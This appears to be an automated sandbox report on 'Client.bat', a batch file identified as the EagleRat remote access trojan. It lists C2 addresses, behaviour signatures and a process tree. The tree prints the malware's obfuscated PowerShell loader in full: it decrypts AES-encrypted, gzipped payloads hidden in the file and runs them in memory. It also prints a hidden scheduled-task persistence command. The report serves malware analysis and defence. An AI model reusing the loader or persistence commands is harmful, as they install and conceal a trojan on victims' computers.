Analysis
- max time kernel
13s - max time network
29s - platform
windows11-21h2_x64 - resource
win11-20240419-en - resource tags
- submitted
08/05/2024, 22:58
General
- Target Client.bat
- Size 493KB
- Sample240508-2x3znaee52
- SHA256 e8f767f4eb2a2e61dc63ff62dd3a807879e9cdbc9678ed3c503847a47c9f2cca
Score
10/10
Malware Config
Extracted
Family
-
eaglerat
C2
-
127.0.0.1:9875
-
127.0.0.1:7788
-
127.0.0.1:1337
-
127.0.0.1:5353
Signatures
- EagleRat
An open source modular remote access trojan written in C#.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Modifies Installed Components in the registry 2 TTPs 1 IoCs
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Drops file in System32 directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks SCSI registry key(s) 3 TTPs 36 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Modifies registry class 25 IoCs
- Suspicious behavior: EnumeratesProcesses 24 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 5 IoCs
- Suspicious use of SendNotifyMessage 11 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵
- Modifies registry class
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}2⤵
-
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca2⤵
-
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RpOLZDoluIa5pJWt3MShtq8ucUbVnSJL03s4NyOM1OY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PgZEQq6XKKhcY8YiWNws0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tlGyS=New-Object System.IO.MemoryStream(,$param_var); $tkRca=New-Object System.IO.MemoryStream; $axVDt=New-Object System.IO.Compression.GZipStream($tlGyS, [IO.Compression.CompressionMode]::Decompress); $axVDt.CopyTo($tkRca); $axVDt.Dispose(); $tlGyS.Dispose(); $tkRca.Dispose(); $tkRca.ToArray();}function execute_function($param_var,$param2_var){ $Oehyc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GVpLB=$Oehyc.EntryPoint; $GVpLB.Invoke($null, $param2_var);}$Wiypn = 'C:\Users\Admin\AppData\Local\Temp\Client.bat';$host.UI.RawUI.WindowTitle = $Wiypn;$FZxzB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Wiypn).Split([Environment]::NewLine);foreach ($SgbrW in $FZxzB) { if ($SgbrW.StartsWith('PrTqKlxMFfEfnSyFVRmW')) { $YQpFV=$SgbrW.Substring(20); break; }}$payloads_var=[string[]]$YQpFV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_336_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_336.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_336.vbs"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_336.bat" "5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RpOLZDoluIa5pJWt3MShtq8ucUbVnSJL03s4NyOM1OY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PgZEQq6XKKhcY8YiWNws0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tlGyS=New-Object System.IO.MemoryStream(,$param_var); $tkRca=New-Object System.IO.MemoryStream; $axVDt=New-Object System.IO.Compression.GZipStream($tlGyS, [IO.Compression.CompressionMode]::Decompress); $axVDt.CopyTo($tkRca); $axVDt.Dispose(); $tlGyS.Dispose(); $tkRca.Dispose(); $tkRca.ToArray();}function execute_function($param_var,$param2_var){ $Oehyc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GVpLB=$Oehyc.EntryPoint; $GVpLB.Invoke($null, $param2_var);}$Wiypn = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_336.bat';$host.UI.RawUI.WindowTitle = $Wiypn;$FZxzB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Wiypn).Split([Environment]::NewLine);foreach ($SgbrW in $FZxzB) { if ($SgbrW.StartsWith('PrTqKlxMFfEfnSyFVRmW')) { $YQpFV=$SgbrW.Substring(20); break; }}$payloads_var=[string[]]$YQpFV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
-
-
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3304 -s 92402⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 568 -p 3304 -ip 33042⤵
-
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-Interactive
www.bing[1].xml
57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Client.exe
__PSScriptPolicyTest_dqwam4og.wzg.ps1
$phantom-startup_str_336.bat
$phantom-startup_str_336.vbs
memory/936-96-0x00007FF884710000-0x00007FF884720000-memory.dmp
memory/1000-111-0x00007FF884710000-0x00007FF884720000-memory.dmp
memory/1032-110-0x00007FF884710000-0x00007FF884720000-memory.dmp
memory/1052-100-0x00007FF884710000-0x00007FF884720000-memory.dmp
memory/1096-27-0x00007FF8A3450000-0x00007FF8A3F12000-memory.dmp
memory/1096-30-0x00007FF8A3450000-0x00007FF8A3F12000-memory.dmp
memory/1096-26-0x00007FF8A3450000-0x00007FF8A3F12000-memory.dmp
memory/1096-25-0x00007FF8A3450000-0x00007FF8A3F12000-memory.dmp
memory/1160-103-0x00007FF884710000-0x00007FF884720000-memory.dmp
memory/1220-109-0x00007FF884710000-0x00007FF884720000-memory.dmp
memory/1248-106-0x00007FF884710000-0x00007FF884720000-memory.dmp
memory/1392-97-0x00007FF884710000-0x00007FF884720000-memory.dmp
memory/1488-102-0x00007FF884710000-0x00007FF884720000-memory.dmp
memory/1656-108-0x00007FF884710000-0x00007FF884720000-memory.dmp
memory/2212-101-0x00007FF884710000-0x00007FF884720000-memory.dmp
memory/2344-14-0x00000232A3000000-0x00000232A3008000-memory.dmp
memory/2344-10-0x00007FF8A3450000-0x00007FF8A3F12000-memory.dmp
memory/2344-47-0x00007FF8A3450000-0x00007FF8A3F12000-memory.dmp
memory/2344-15-0x00000232A3400000-0x00000232A3462000-memory.dmp
memory/2344-11-0x00007FF8A3450000-0x00007FF8A3F12000-memory.dmp
memory/2344-13-0x00007FF8A3450000-0x00007FF8A3F12000-memory.dmp
memory/2344-12-0x00000232A33B0000-0x00000232A33F6000-memory.dmp
memory/2344-9-0x00000232A2F90000-0x00000232A2FB2000-memory.dmp
memory/2344-0-0x00007FF8A3453000-0x00007FF8A3455000-memory.dmp
memory/2412-107-0x00007FF884710000-0x00007FF884720000-memory.dmp
memory/2420-104-0x00007FF884710000-0x00007FF884720000-memory.dmp
memory/2620-105-0x00007FF884710000-0x00007FF884720000-memory.dmp
memory/3304-48-0x0000000003160000-0x000000000318A000-memory.dmp
memory/3596-149-0x000001E65D870000-0x000001E65D88A000-memory.dmp
memory/3596-147-0x000001E65D590000-0x000001E65D5A4000-memory.dmp
memory/3596-148-0x000001E65D5A0000-0x000001E65D5B2000-memory.dmp
memory/4796-99-0x00007FF884710000-0x00007FF884720000-memory.dmp
memory/4992-98-0x00007FF884710000-0x00007FF884720000-memory.dmp